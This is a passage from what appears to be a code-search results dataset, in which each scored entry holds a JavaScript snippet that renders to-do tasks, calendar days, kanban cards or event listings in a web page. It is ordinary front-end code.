$(`#dayOfTheMonth${i + 1}`).hasClass(\"hasTask\")) {\n $(`#dayOfTheMonth${i + 1}`).removeClass(\"hasSchedule\").removeClass(\"hasTask\").addClass(\"hasBoth\");\n }\n }\n\n }\n else {\n blocksDay = '';\n monthCounter = 1;\n yearCounter++;\n\n let firstDayMonth = new Date(yearCounter, monthCounter - 1, 1)\n\n for (let i = 0; i < firstDayMonth.getDay(); i++) {\n blocksDay += `<li style=\"display: inline-block; height: 24px\"></li>`\n }\n\n monthToday = months[(monthCounter - 1)]\n yearToday = yearCounter\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n blocksDay += `<li class=\"filledDay\" id=\"dayOfTheMonth${i + 1}\">${i + 1}</li>`\n }\n\n $('#calendarMonth').html(`${monthToday}<br><span=\"font-size:18px\">${yearToday}</span>`)\n $('#daysOfMonth').html(blocksDay)\n\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n\n for (let j = 0; j < tempArr.length; ++j) {\n if (asnDate == tempArr[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasSchedule\")\n }\n }\n for (let j = 0; j < tempArrTask.length; ++j) {\n if (asnDate == tempArrTask[j].date) {\n $(`#dayOfTheMonth${i + 1}`).addClass(\"hasTask\")\n\n }\n }\n }\n\n //CHECKS IF IT HAS BOTH SCHEDULE AND TASK\n for (let i = 0; i < daysInMonth(monthCounter, yearCounter); ++i) {\n asnDate = `${monthCounter}/${i + 1}/${yearCounter}`\n if ($(`#dayOfTheMonth${i + 1}`).hasClass(\"hasSchedule\") && $(`#dayOfTheMonth${i + 1}`).hasClass(\"hasTask\")) {\n $(`#dayOfTheMonth${i + 1}`).removeClass(\"hasSchedule\").removeClass(\"hasTask\").addClass(\"hasBoth\");\n }\n }\n\n }\n })\n })\n }", "title": "" }, { "docid": "8f4e7b61508377260e55e6046f768169", "score": "0.6124978", "text": "function writeTaskList() {\n\tvar headerHtml = '<table class=\"listTable\" border=\"1px\"><tr>';\n\theaderHtml += '<td class=\"titleBar\">Name <a href=\"javascript: sortTasksByName(tasks, true)\"><img src=\"images/arrow-down.gif\" border=\"0\"></a><a href=\"javascript: sortTasksByName(tasks, false)\"><img src=\"images/arrow-up.gif\" border=\"0\"></a></td>';\n\theaderHtml += '<td class=\"titleBar\">Type <a href=\"javascript: sortTasksByType(tasks, true)\"><img src=\"images/arrow-down.gif\" border=\"0\"></a><a href=\"javascript: sortTasksByType(tasks, false)\"><img src=\"images/arrow-up.gif\" border=\"0\"></a></td>';\n\theaderHtml += '<td class=\"titleBar\">Category <a href=\"javascript: sortTasksByCategory(tasks, true)\"><img src=\"images/arrow-down.gif\" border=\"0\"></a><a href=\"javascript: sortTasksByCategory(tasks, false)\"><img src=\"images/arrow-up.gif\" border=\"0\"></a></td>';\n\theaderHtml += '<td class=\"titleBar\">Lang <a href=\"javascript: sortTasksByLanguage(tasks, true)\"><img src=\"images/arrow-down.gif\" border=\"0\"></a><a href=\"javascript: sortTasksByLanguage(tasks, false)\"><img src=\"images/arrow-up.gif\" border=\"0\"></a></td>';\n\theaderHtml += '<td class=\"titleBar\">Author <a href=\"javascript: sortTasksByAuthor(tasks, true)\"><img src=\"images/arrow-down.gif\" border=\"0\"></a><a href=\"javascript: sortTasksByAuthor(tasks, false)\"><img src=\"images/arrow-up.gif\" border=\"0\"></a></td>';\n\theaderHtml += '<td class=\"titleBar\">Modified <a href=\"javascript: sortTasksByModificationDate(tasks, true)\"><img src=\"images/arrow-down.gif\" border=\"0\"></a><a href=\"javascript: sortTasksByModificationDate(tasks, false)\"><img src=\"images/arrow-up.gif\" border=\"0\"></a></td>';\n\theaderHtml += '<td class=\"titleBar\" colspan=\"3\"></td></tr>';\n\t\n\tvar listHtml = '';\n\n\tif(tasksAvailable == true) {\n\t\tfor(var i = 0; i < tasks.length; i++) {\n\t\t\tlistHtml += '<tr>';\n\t\t\tlistHtml += '<td><a href=\"answer_task.jsp?task_id=' + tasks[i].id + '\">' + tasks[i].name + '</td>';\n\t\t\tlistHtml += '<td>' + tasks[i].type + '</td>';\n\t\t\tlistHtml += '<td>' + tasks[i].category + '</td>';\n\t\t\tlistHtml += '<td>' + tasks[i].language + '</td>';\n\t\t\tlistHtml += '<td>' + tasks[i].author + '</td>';\n\t\t\tlistHtml += '<td>' + tasks[i].modificationDate + '</td>';\n\t\t\tlistHtml += '<td><input type=\"button\" value=\"Modify\" onclick=\"location.href = \\'composer.jsp?task_id=' + tasks[i].id + '&save_type=update\\'\">&nbsp;';\n\t\t\tlistHtml += '<input type=\"button\" value=\"Modify as new\" onclick=\"location.href = \\'composer.jsp?task_id=' + tasks[i].id + '&save_type=new\\'\">&nbsp;';\n\t\t\tlistHtml += '<input type=\"button\" value=\"Delete\" onclick=\"Javascript:deleteTask(\\'' + tasks[i].name + '\\', \\'' + tasks[i].id + '\\');\"></td></tr>';\n\t\t}\n\t} else {\t\n\t\tlistHtml = '<tr><td colspan=\"9\">No tasks.</td></tr>';\t\n\t}\n\t\n\tlistHtml += '</table>';\n\t\n\tvar taskListElem = document.getElementById(\"taskList\");\n\ttaskListElem.innerHTML = headerHtml + listHtml;\n}", "title": "" }, { "docid": "28d722917d563c9a0c3cb667f5441a0c", "score": "0.6122233", "text": "function createTaskList(selectedDate) {\n const taskElements = taskList\n .filter((task) => task.date === selectedDate)\n .map((task) => createTaskElement(task));\n tasksGroupElement.innerHTML = \"\";\n tasksGroupElement.append(...taskElements);\n}", "title": "" }, { "docid": "7f47f34e31b8d135e27305e5da0917ac", "score": "0.61187637", "text": "function renderTask(){\n //reset TaskTable\n resetTable();\n //get task table body\n const taskTableBody=document.querySelector(\"#taskTableBody\");\n //delete existing display of data in the table\n //check if task table body contains any rows - if so delete all of them\n if (taskTableBody!=null){\n while(taskTableBody.hasChildNodes()) \n taskTableBody.removeChild(taskTableBody.firstChild);\n }\n if (store.getNoOfTasks()>0){\n //run a Array.forEach here to process each element in the task list\n store.taskList.forEach(ele=>{\n // create a new table row\n const tbRow=document.createElement(\"TR\");\n tbRow.setAttribute(\"id\",`${ele.allData[\"ID\"]}`);\n tbRow.classList.add(\"taskTableRow\");\n // get all data values from task and add it to a row\n for (prop in ele.allData){\n //create a new table row data field - task name\n const tbCell=document.createElement(\"TD\");\n //add a text node with contents\n const tbCellCnt=document.createTextNode(ele.allData[prop]);\n //add text node to table data field\n tbCell.appendChild(tbCellCnt);\n //add data field to table row\n tbRow.appendChild(tbCell);\n }\n // //add the row to the body\n taskTableBody.appendChild(tbRow);\n if (isVisible(document.querySelector(\"#noDataLine\"))){\n document.querySelector(\"#noDataLine\").classList.add(\"d-none\");\n document.querySelector(\"#taskTable\").classList.remove(\"d-none\");\n }\n });\n //removed -- initModal();\n document.querySelector(\"#taskTable\").addEventListener(\"click\",tableClickHandler);\n }\n // no of tasks in tasklist is 0\n else if (isVisible(document.querySelector(\"#taskTable\"))){\n document.querySelector(\"#noDataLine\").classList.remove(\"d-none\");\n document.querySelector(\"#taskTable\").classList.add(\"d-none\");\n }\n}", "title": "" }, { "docid": "4e898a7c3bacbd459c8bff22b1d2d037", "score": "0.61100495", "text": "function renderTasks() {\n // set our <tbody> to empty again so we can add all our tasks\n todoTaskList.innerHTML = \"\";\n\n // loop through all our tasks\n tasks.forEach((t) => {\n // create a <tr> </tr> element in our DOM\n const tableRow = document.createElement(\"tr\");\n // set an attribute to tr so we can know which row relates to which task in our array (tasks). <tr task-id=\"some UUID we generated\"></tr>\n tableRow.setAttribute(\"task-id\", t.id);\n // depending on the state of the task (isCompleted being true or false) we render our tasks differently (the green circle)\n if (t.isCompleted == false) {\n // we add three <td></td> elements inside our <tr> element\n // \n tableRow.innerHTML = `\n <td>${t.text}</td>\n <td><i data-action=\"complete-task\" class=\"fa fa-circle-thin edit\"></i></td>\n <td><i data-action=\"delete-task\" class=\"fa fa-trash-o edit\" style=\"cursor: pointer;\"></i></td>\n `;\n } else {\n // we add three <td></td> elements inside our <tr> element\n tableRow.innerHTML = `\n <td>${t.text}</td>\n <td><i data-action=\"complete-task\" class=\"fa fa-circle edit\" style=\"color:green\"></i></td>\n <td><i data-action=\"delete-task\" class=\"fa fa-trash-o edit\" style=\"cursor: pointer;\"></i></td>\n `;\n }\n\n // finally we add our newly created <tr> element to our DOM <tbody> element\n // todoTaskList is a variable that holds a reference to the <tbody> element\n // tableRow is a new DOM <tr> element that has three <td> elements inside of it (we added it by setting innerHTML above)\n todoTaskList.appendChild(tableRow);\n });\n}", "title": "" }, { "docid": "532bfc26e4d5f1759ed18e86a375121b", "score": "0.6095563", "text": "displayEvents(events) {\n\n // Build the template\n\n let HTMLTemplate = '';\n\n // Loop events and print the result\n\n events.forEach(eventInfo => {\n HTMLTemplate += `\n <div class=\"col-12 col-md-4 mt-4\" >\n <div class=\"card card-body h-100\">\n \n <div class=\"card-body\">\n <img class=\"img-fluid mb-2\" src=\"${eventInfo.logo !== null ? eventInfo.logo.url : ''}\"> \n </div>\n <div class=\"card-body\">\n <div class=\"card-text\">\n <h2 class=\"text-center card-title\">${eventInfo.name.html}</h2>\n <p class=\"lead text-info\">Event Information:</p>\n <p>${String(eventInfo.description.text).substring(0,200)}...</p>\n <span class=\"badge badge-primary\">Capacity: ${eventInfo.capacity}</span>\n <span class=\"badge badge-secondary\">Date & Time: ${eventInfo.start.local}</span>\n\n <a href=\"${eventInfo.url}\" target=\"_blank\" class=\"btn btn-primary btn-block mt-4\">Get Tickets</a>\n </div>\n </div>\n </div>\n </div>\n `;\n });\n\n this.result.innerHTML = HTMLTemplate;\n }", "title": "" }, { "docid": "48fbf6a6eb4b22a5de0dd499986d4bd0", "score": "0.6093532", "text": "function allTab(array) {\n \n \n // erases tasks from DOM so they don't spam themselves\n _editTasks_js__WEBPACK_IMPORTED_MODULE_1__.taskUpdate.erase();\n\n // searches DOM for .taskSpans elements\n const text = document.querySelectorAll('.taskSpans');\n\n // clears them if they are found so they don't spam themselves\n if (text != null) {\n _editTasks_js__WEBPACK_IMPORTED_MODULE_1__.taskUpdate.clear();\n } \n\n // const targets projectPanel div\n const projectPanel = document.querySelector('.projectPanel');\n\n // variable that targets taskPanel div\n const taskPanel = document.querySelector('.taskPanel');\n\n // variable for targeting the 'mainSection' div\n const mainSection = document.querySelector('.mainSection');\n\n const isPresent = mainSection.contains(projectPanel);\n // appends projectPanel to section\n \n // if the project panel is present, it's removed\n if (isPresent === true) {\n mainSection.removeChild(projectPanel);\n mainSection.style.cssText = `\n grid-template-areas: \n \"form form\"\n \"items items\";\n `;\n \n taskPanel.style.cssText = `grid-row: 4/11`;\n \n } \n\n\n let storedArray = JSON.parse(localStorage.getItem('itemArray'));\n\n if (storedArray != null) {\n for (var i = 0; i < storedArray.length; i++) {\n \n if(storedArray[i].project === '') {\n _printTasks_js__WEBPACK_IMPORTED_MODULE_2__.taskPrint.unpack(storedArray[i]);\n \n } else {\n \n }\n }\n }\n\n\n }", "title": "" }, { "docid": "4bbc1c0609092ce2d6a00475e73f491f", "score": "0.60899854", "text": "display() {\n console.log(this.tasks);\n // Select columns that contains cards with corresponding status from the HTML and assign them to variables\n const todoTasks = document.querySelector('#todoTasks');\n const inprogressTasks = document.querySelector('#inprogressTasks');\n const reviewTasks = document.querySelector('#reviewTasks');\n const doneTasks = document.querySelector('#doneTasks');\n\n // Clear columns and give them a header\n todoTasks.innerHTML = '<h5>TODO</h5>';\n inprogressTasks.innerHTML = '<h5>IN PROGRESS</h5>';\n reviewTasks.innerHTML = '<h5>REVIEW</h5>';\n doneTasks.innerHTML = '<h5>DONE</h5>';\n\n // Create each card in array of tasks \n for (let i = 0; i < this.tasks.length; i++) {\n const task = this.tasks[i];\n // Get date to standard format\n const dueByDate = new Date(task.dueDate);\n // Format date to be dd/mm/yyyy\n const formattedDate = dueByDate.getDate() + '/' + (dueByDate.getMonth() + 1) + '/' + dueByDate.getFullYear();\n // Create a new element <div> and give it a bootstrap class row\n const card = document.createElement('div');\n card.className = 'row mb-3';\n // Get the bootstrap class name for styling Priority\n let badge;\n if (task.priority === 'High') {\n badge = 'badge-danger';\n } else if (task.priority === 'Medium') {\n badge = 'badge-primary';\n } else if (task.priority === 'Low') {\n badge = 'badge-secondary';\n };\n // HTML for card\n card.innerHTML = `\n <div class=\"card\" id=${task.id}>\n <div class=\"card-body\">\n <h5 class=\"card-title\">${task.name}</h5> \n <h6 class=\"card-subtitle mb-2 text-muted\">Due date: ${formattedDate}</h6>\n <p class=\"card-text mb-3\">${task.description}</p>\n <p class=\"card-text mb-3\"><strong>Assigned to: ${task.assignedTo}</strong></p>\n <div class=\"alert ${task.status === 'DONE' ? 'alert-success' : (task.status === 'IN PROGRESS' ? 'alert-info' : (task.status === 'REVIEW' ? 'alert-warning' : 'alert-primary'))}\">Status: ${task.status}</div>\n <div class=\"badge ${badge} mb-4\" style=\"width:100%\">Priority: ${task.priority}</div>\n <div class=\"btn-group btn-group-toggle mb-3\" style=\"width:100%\" data-toggle=\"buttons\" id=\"statusChange\">\n <label class=\"btn btn-outline-primary\" style=\"font-size: 10px\">\n <input type=\"radio\" name=\"options\" id=\"radioToDo\">TODO\n </label>\n <label class=\"btn btn-outline-info\" style=\"font-size: 10px\">\n <input type=\"radio\" name=\"options\" id=\"radioInProgress\">IN PROGRESS\n </label>\n <label class=\"btn btn-outline-warning\" style=\"font-size: 10px\">\n <input type=\"radio\" name=\"options\" id=\"radioReview\">REVIEW\n </label>\n <label class=\"btn btn-outline-success\" style=\"font-size: 10px\">\n <input type=\"radio\" name=\"options\" id=\"radioDone\">DONE\n </label>\n </div>\n <a href=\"#\"><i class=\"fas fa-edit fa-lg px-2\" id=\"editTaskBtn\" style=\"color:rgb(99, 99, 201)\" data-toggle=\"modal\" data-target=\"#taskModal\"></i></a>\n <a href=\"#\"><i class=\"fas fa-trash-alt fa-lg\" id=\"deleteTaskBtn\" style=\"color:#dc3545\" data-toggle=\"modal\" data-target=\"#deleteModal\"></i></a>\n </div>\n </div>\n `;\n // Append HTML card to the corresponding row depending on task status\n if (task.status === 'TODO') { \n todoTasks.appendChild(card);\n } else if (task.status === 'IN PROGRESS') {\n inprogressTasks.appendChild(card);\n } else if (task.status === 'REVIEW') {\n reviewTasks.appendChild(card);\n } else if (task.status === 'DONE') { \n doneTasks.appendChild(card);\n };\n };\n }", "title": "" }, { "docid": "d66066a717a540b98ac766a5319a1d41", "score": "0.60771704", "text": "function renderTasks(tasks) {\n\n // first remove all tasks on the board.\n removeAllChildren(toDoDiv);\n removeAllChildren(duringDiv);\n removeAllChildren(finishedDiv);\n\n // loop through all the tasks. Check their status.. todo, doing or done\n tasks.forEach((task) => {\n const status = task.status ?? \"TODO\";\n const element = createTaskElement(task);\n switch (status.toUpperCase()) {\n case \"IN_PROGRESS\":\n duringDiv.appendChild(element);\n break;\n case \"DONE\":\n finishedDiv.appendChild(element);\n break;\n default:\n toDoDiv.appendChild(element);\n }\n });\n}", "title": "" }, { "docid": "932dc01546e8fafeaadb8918f3073568", "score": "0.6076936", "text": "function fn_rendermytasksTable(response){\n\t\n\t/*Get the data from the response*/\n\tsetId =[];\n\tsetTitle= [];\n\tlet datat=response;\n\n\tfor(var i = 0; i < datat.length; i++) {\n\t\t/*Get the assessment id and title for each task*/\n\t\tsetId[i]=[datat[i]._id].toString();\n\t\tsetTitle[i]=[datat[i].title];\n\t}\n \n /*Define the table to display Title,description, instruction, no.of resources and resources for the signed up tasks.*/\t\n\tlet objTable\t\t\t\t= document.getElementById('table');\n\tlet strTableData\t\t\t='';\n\n\tstrTableData \t\t\t\t= strTableData + '<table width=\"100%\" style=\"border: 2px solid black; table-layout: fixed;\">';\n\tstrTableData \t\t\t\t= strTableData + '<tr style=\"border: 1px solid black;background-color: #1a75ff\">';\n\t\t\n\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black;\"> Title </td>';\n\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black;\"> Description </td>';\n\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black;\"> Instruction </td>';\n\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black;\"> No.of resources </td>';\n\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black;\"> Resources </td>';\n\n\tstrTableData \t\t\t\t= strTableData + '</tr>';\n\t\n\t/*Display the data in the table*/\n\tfor(var i = 0; i < datat.length; i++){\n\t\n\t\tif(datat[i].userSignup == true){\n\t\t\tstrTableData \t\t\t\t= strTableData + '<tr style=\"border: 2px solid black;\">';\n\t\t\t\t\t\t\t\n\t\t\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black; style=\"word-wrap: break-word;\"> '+[datat[i].title]+' </td>';\n\t\t\tstrTableData \t\t\t\t= strTableData + '\t<td style=\"border: 2px solid black;\" > '+[datat[i].description]+' </td>';\n\t\t\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black; word-wrap:break-word\"> <a href=\"'+[datat[i].instructions]+'\">'+ 'Instruction Details<a>' +'</td>';\t\n\t\t\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black; word-wrap:break-word;text-align=center\"> '+[datat[i].numAssessmentsPerUser]+' </td>';\n\t\t\tstrTableData \t\t\t\t= strTableData + '\t<td class=\"align\" style=\"border: 2px solid black;\">'+ '<input type=\"button\" value=\"view resources\" style=\"background-color: #66b3ff;\" onclick=\"fn_navResources('+'setId['+i+']'+','+'setTitle['+i+']'+');\">'+' </td>';\n\t\t\t\n\t\t\tstrTableData \t\t\t\t= strTableData + '</tr>';\n\t\t}\n\t}\n\tstrTableData \t\t\t\t= strTableData + '</table>';\n\tobjTable.innerHTML\t= strTableData;\n\n}", "title": "" }, { "docid": "a216324cea9100e45ece999715c35b6c", "score": "0.6071527", "text": "function renderTheTask(task, index) {\n var html = '';\n html += '<li class=\"projectTask';\n if(task.complete) html += ' complete';\n if(task.milestone) html += ' milestone';\n html += '\" data-taskId=\"' + task._id + '\">' +\n '<ul class=\"taskFields\">' +\n '<li data-taskField=\"index\" data-index=\"' + index + '\">' +\n '<div>' +\n '<i class=\"icon-th-list\" style=\"display: none;\"></i>' +\n '<span>' + index + '</span>' +\n '</div></li>';\n if(task.assigned_to) {\n if(task.assigned_to.hasOwnProperty('email')) {\n html += '<li data-taskField=\"assignee\" data-assignee=\"' + task.assigned_to.email +\n '\"><div><a href=\"#\" rel=\"tooltip\" title=\"' + task.assigned_to.name + \n '\">' + getInitials(task.assigned_to.name) + '</a></div></li>';\n }\n else {\n html += '<li data-taskField=\"assignee\" data-assignee=\"\"><div>\\u00A0' +\n '</div></li>';\n }\n }\n else {\n html += '<li data-taskField=\"assignee\" data-assignee=\"\"><div>\\u00A0' +\n '</div></li>';\n }\n html += '<li data-taskField=\"checkbox\">' +\n '<div rel=\"tooltip\" title=\"Mark As Complete\"><input type=\"checkbox\" ' +\n 'data-action=\"taskComplete\" style=\"display: none;\"';\n if(task.complete) html += ' checked';\n html += '>\\u00A0</div></li>' +\n '<li data-taskField=\"title\"><input data-taskId=\"' + task._id + \n '\" data-field=\"taskTitle\" placeholder=\"(new task)\" value=\"' + task.title +\n '\"><div data-field=\"resizer\"></div></li>' +\n '<li rel=\"tooltip\" data-taskField=\"dueDate\" title=\"' + task.end_at + \n '\" data-due=\"' + task.end_at + '\">' +\n renderDate(task.end_at) + '</li>' +\n '<li data-taskField=\"display\" class=\"pull-right\" rel=\"tooltip\" ' +\n 'title=\"View Details\"><a href=\"#\" data-action=\"displayTask\" ' +\n 'data-target=\"' + task._id + '\" class=\"btn btn-mini hide\">' +\n '<i class=\"icon-chevron-right\"></i></a></li></ul></li>';\n return html;\n}", "title": "" }, { "docid": "193734068bac7d1b6db3138d43e75a56", "score": "0.60588753", "text": "function populate_stats_table(tasks_logged) {\t\n\tif (tasks_logged != null) {\n\t\tvar t = \"\";\n\t\t$.each(tasks_logged.reverse(), function(i, val) {\n\t\t\tvar m = \"min\";\n\t\t\tif (val.duration > 1){\n\t\t\t\tm = \"mins\";\n\t\t\t}\n\t\t\tt += '<tr><td>'+moment(val.date_completed).format('MMM Do HH:mm')+'</td><td>'+val.project+'</td><td>'+val.task+'</td><td>'+val.duration+' '+m+'</td></tr>';\n\t\t});\n\t\t$('#stats-table tbody').html(t);\n\t} else {\n\t\t$('#stats-table tbody').html('<tr><td colspan=\"4\" style=\"text-align:center\">No tasks completed today</td></tr>');\n\t}\n}", "title": "" }, { "docid": "a3283b039243ebb5f9bfed25f4eb46ec", "score": "0.60544086", "text": "function packagedEventDay(dataStruct){\n var date = getMyDate();\n $('#container2').empty();\n\n //process data structure of all tasks to find which dates to display\n function placeEvent(dataStruct){\n //Extract parent task from data structure for processing\n for (j=0; j < dataStruct.length; j++ ){\n eventDic = dataStruct[j]\n if (eventDic[\"eventDate\"].toString() == date){\n s=''+date[0]+'/'+date[1]+'/'+date[2]\n buildEvent(eventDic[\"eventID\"], eventDic[\"eventName\"], s,eventDic[\"startTime\"], eventDic[\"endTime\"], \"container2\", \"day\");\n }\n }\n }\n placeEvent(dataStruct);\n}", "title": "" }, { "docid": "8647a5858b694aa2f271361bdfafa06f", "score": "0.60530066", "text": "function displayTasks() {\n let tasksList = JSON.parse(localStorage.getItem(\"Tasks\"));\n\n if (tasksList != null) {\n $.each(tasksList, function(key, value){\n $(\"#task-table\").append(\n \"<tr id=\" + value.id + \">\"+\n \"<td>\" + value.task + \"</td>\"+\n \"<td>\" + value.priority + \"</td>\"+\n \"<td>\" + value.date + \"</td>\"+\n \"<td>\" + value.time + \"</td>\"+\n \"<td><a href=\\\"editTask.html?id=\" + value.id + \"\\\">Edit</a>\"+\n \" | <a id=\\\"removeTask\\\" data-id=\\\"\" + value.id + \"\\\" href=\\\"#\\\">Remove</a></td>\"+\n \"</tr>\"\n );\n });\n };\n }", "title": "" }, { "docid": "558ebcc2a7d9a7969fd383e28bbac841", "score": "0.60420656", "text": "function packagedTaskWeek(dataStruct){\n var date = getMyDate();\n $('#container2').empty();\n var catChoiceDic = catCookies();\n\n initializeWeekTable(\"Tasks\");\n\n //for one task from the data structure, if the date on task matches a date to be displayed,\n //create the task in the corresponding slot of the week table\n function placeSubtasksHelper (j, dataStruct, date, selector){\n\n //makes sure task's due date is the same as the relevant date\n function placer(taskDic, isParent, selector){\n if (taskDic[\"end\"].toString() == date){\n buildTask(taskDic[\"taskID\"], taskDic[\"catColor\"], taskDic[\"cat\"], taskDic[\"name\"], taskDic[\"isFinished\"].toString(), isParent, selector, \"week\");\n }\n }\n\n //executes placing for both parent tasks and subtasks\n taskDic = dataStruct[j][0];\n placer(taskDic, true, selector);\n for (i=0; i < dataStruct[j][1].length; i++){\n taskDic = dataStruct[j][1][i];\n if (Object.keys(taskDic).length != 0){\n placer(taskDic,false, selector);\n }\n }\n }\n\n //iterate through all tasks and place them in the relevant week\n function placeSubtasks(dataStruct){\n var week = defineWeek(new Date());\n\n //iterate through all tasks\n for (j=0; j < dataStruct.length; j++ ){\n\n placeSubtasksHelper(j, dataStruct, week[0], week[0].split(',')[2]);\n placeSubtasksHelper(j, dataStruct, week[1], week[1].split(',')[2]);\n placeSubtasksHelper(j, dataStruct, week[2], week[2].split(',')[2]);\n placeSubtasksHelper(j, dataStruct, week[3], week[3].split(',')[2]);\n placeSubtasksHelper(j, dataStruct, week[4], week[4].split(',')[2]);\n placeSubtasksHelper(j, dataStruct, week[5], week[5].split(',')[2]);\n placeSubtasksHelper(j, dataStruct, week[6], week[6].split(',')[2]);\n\n //why is this not working?\n // for (i=0; i < 7; i++){\n // //for each task, check whether it falls into any day of the week we're displaying\n // placeSubtasksHelper(j, dataStruct, week[i], week[i].split(',')[2]);\n // }\n\n }\n }\n placeSubtasks(dataStruct);\n}", "title": "" }, { "docid": "235779bece18992fa326eebd3aa3ebee", "score": "0.60403717", "text": "function getTasks() {\n\t$.get(\n\t\t`https://api.mlab.com/api/1/databases/taskmanager/collections/tasks?apiKey=${apikey}`,\n\t\tfunction(data) {\n\t\t\tlet output = '<ul class=\"list-group\">';\n\t\t\t$.each(data, function(key, task) {\n\t\t\t\toutput += '<li class=\"list-group-item\">';\n\t\t\t\toutput +=\n\t\t\t\t\ttask.task_name +\n\t\t\t\t\t`<span class=\"due_on\">[Due on ${task.due_date}]</span>`;\n\n\t\t\t\tif (task.is_urgent == \"true\") {\n\t\t\t\t\toutput += '<span class=\"label label-danger\">Urgent</span>';\n\t\t\t\t}\n\n\t\t\t\toutput += ` <div class = \"float-right\">\n <a class=\"btn btn-sm btn-primary btn-edit-task\" data-task-name=\"${\n\t\t\t\t\t\t\t\t\t\t\t\t\ttask.task_name\n\t\t\t\t\t\t\t\t\t\t\t\t}\" data-task-id=\"${task._id.$oid}\">Edit</a>\n <a class=\"btn btn-sm btn-danger btn-delete-task\" data-task-id=\"${\n\t\t\t\t\t\t\t\t\t\t\t\t\ttask._id.$oid\n\t\t\t\t\t\t\t\t\t\t\t\t}\" >Delete</a>\n </div>`;\n\t\t\t});\n\t\t\toutput += \"</ul>\";\n\t\t\t//console.log(output);\n\t\t\t$(\"#tasks\").html(output);\n\t\t}\n\t);\n}", "title": "" }, { "docid": "8d68e712aa5125100ba9e354b760bd1c", "score": "0.6037051", "text": "function getTasks() {\n //Lo paso a uun array\n let tasks = JSON.parse(localStorage.getItem('tasks'));\n //Aqui es donde lo voy a meter\n let tasksView = document.getElementById('tasks');\n //Antes de hacer nada lo tengo que limpiar\n tasksView.innerHTML = '';\n for (let i = 0; i < tasks.length; i++) {\n let title = tasks[i].title;\n let description = tasks[i].description;\n\n tasksView.innerHTML += `\n <div class=\"card mb-3\">\n <div class=\"card-body\">\n <p>${title} - ${description}\n <a href=\"#\" onclick=\"deleteTask('${title}')\" class=\"btn btn-danger ml-5\">Delete</a>\n </p>\n </div>\n </div>\n `;\n }\n}", "title": "" }, { "docid": "4479857df675a8b89c59358dfce0e517", "score": "0.60162467", "text": "function genDemo() {\n\tvar task = newTask();\n\ttask.text = \"Preglej snov za predavanje SP\";\n\ttask.deadline = \"24/11/2015\";\n\ttask.place = \"Večna Pot 113\";\n\ttask.priority = 4;\n\ttask.category = 1;\n\ttasks.push(task);\n\ttask = newTask();\n\ttask.text = \"Rezerviraj karte za fuzbal tekmo\";\n\ttask.deadline = \"21/11/2015\";\n\ttask.place = \"Arena Stožice\";\n\ttask.priority = 5;\n\ttask.category = 2;\n\ttasks.push(task);\n\ttask = newTask();\n\ttask.text = \"Preveri za nove epizode priljubljenih serij\";\n\ttask.deadline = \"\";\n\ttask.priority = 1;\n\ttask.category = 5;\n\ttasks.push(task);\n\ttask = newTask();\n\ttask.text = \"Pospravi sobo\";\n\ttask.deadline = \"20/11/2015\";\n\ttask.priority = 2;\n\ttask.category = 3;\n\ttasks.push(task);\n\t\n\tfor (var i in tasks) {\n\t\ttasks[i].origId = i;\n\t\tshown.push(tasks[i]);\n\t\ttaskNum++;\n\t}\n}", "title": "" }, { "docid": "bcc4afe8625b28a9aff066477936c66c", "score": "0.6014328", "text": "function renderData(arr)\r\n { \r\n for(var i = 0; i < 6; i++)\r\n {\r\n var row = document.createElement('tr');\r\n for(var j = 0; j < 7; j++)\r\n {\r\n row.appendChild(arr[i * 7 + j]);\r\n }\r\n if(row.lastChild.classList.contains('current'))\r\n {\r\n row.lastChild.classList.add('weekend');\r\n }\r\n content.appendChild(row);\r\n }\r\n }", "title": "" }, { "docid": "c59ef0f157aa5b0283b32733a1fa9303", "score": "0.6004963", "text": "function displayFromLocalStorage() {\n tasksArray.forEach((taskObj) => {\n displayTask(taskObj);\n });\n clearNewTaskQuery();\n}", "title": "" }, { "docid": "b1099d2b665cd00a2e56731294ea2276", "score": "0.6003508", "text": "displayEvents(events){\n \n\n // Template for the results\n let htmlTemplate = \"\";\n\n events.forEach(singleEvent =>{\n htmlTemplate += `\n <div class=\"col-md-4 mt-4\">\n <div class=\"card\">\n <div class=\"card-body\">\n <img class=\"img-fluid mb-2\" src=\"${singleEvent.logo != null ? singleEvent.logo.url : \"\"}\">\n </div>\n </div class=\"class-body\">\n <h2 class=\"text-center card-title\">${singleEvent.name.text}</h2>\n <p class=\"lead text-info\">Event Information:</p>\n <p>${singleEvent.description.text.substring(0,200)}...</p>\n <span class=\"badge badge-primary\">Capacity: ${singleEvent.capacity}</span>\n <span class=\"badge badge-secondary\">Date & Time: ${singleEvent.start.local}</span>\n <a class=\"btn btn-primary btn-block\" href=\"${singleEvent.url}\" target=\"_blank\">Get Ticket</a>\n </div>\n </div>\n </div>\n `;\n })\n this.result.innerHTML = htmlTemplate;\n\n }", "title": "" }, { "docid": "65397e9cd2824d9859f5f7577413f3d7", "score": "0.5998187", "text": "function showAllTasksFolder() {\n\t\tresetTaskList();\n\t\tdocument.getElementById('taskTitle').innerHTML = 'All Tasks';\n\t\tupdateDisplay(taskFolder, template, taskList);\n\t}", "title": "" }, { "docid": "ce96f48c944d056610c90362503c0f93", "score": "0.5994497", "text": "function showTask( tasks ){\n //clear the outputDiv\n $('#outputDiv').children().remove();\n //start the loop with the imported data\n for( i=0; i<tasks.length; i++ )\n {\n var checkDiv = document.createElement('div');\n checkDiv.id='checkDiv-'+tasks[i].id;\n checkDiv.className='container';\n\n $('#outputDiv').append( checkDiv );\n var completeButton = \"<button class='compButton' id='completeButton-\" + tasks[i].id + \"' data-id='\"+tasks[i].id+\"'>Complete Task</button>\";\n var deleteButton = \"<button class='delButton' id='deleteButton-\" + tasks[i].id + \"' 